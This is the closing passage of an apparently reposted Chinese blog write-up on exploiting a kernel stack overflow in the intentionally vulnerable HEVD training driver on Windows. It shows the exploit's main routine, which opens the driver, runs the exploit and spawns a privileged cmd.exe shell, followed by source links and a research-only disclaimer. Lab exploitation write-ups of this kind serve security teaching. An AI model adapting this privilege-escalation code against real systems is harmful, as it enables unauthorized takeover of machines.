CreateFileA("\\.\HackSysExtremeVulnerableDriver",                      (GENERIC_READ | GENERIC_WRITE),0x00,NULL,                      OPEN_EXISTING,                      FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL)  {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1;  }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation success!!! Enjoy de shell!!nn");    system("cmd.exe");  } else {printf("[-] Exploitation failed, run againn");  }if (hHEVD != INVALID_HANDLE_VALUE) {    CloseHandle(hHEVD);  }}

发送后,我们成功获得了特权 shell!

Sources

https://kristal-g.github.io/2021/02/07/HEVD_StackOverflowGS_Windows_10_RS5_x64.htmlhttps://github.com/sam-b/windows_kernel_address_leaks/tree/3810bec445c0afaa4e23338241ba0359aea398d1

原文始发于微信公众号(securitainment):Windows Kernel 栈溢出回归

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月2日23:41:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows Kernel 栈溢出回归https://cn-sec.com/archives/3890285.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息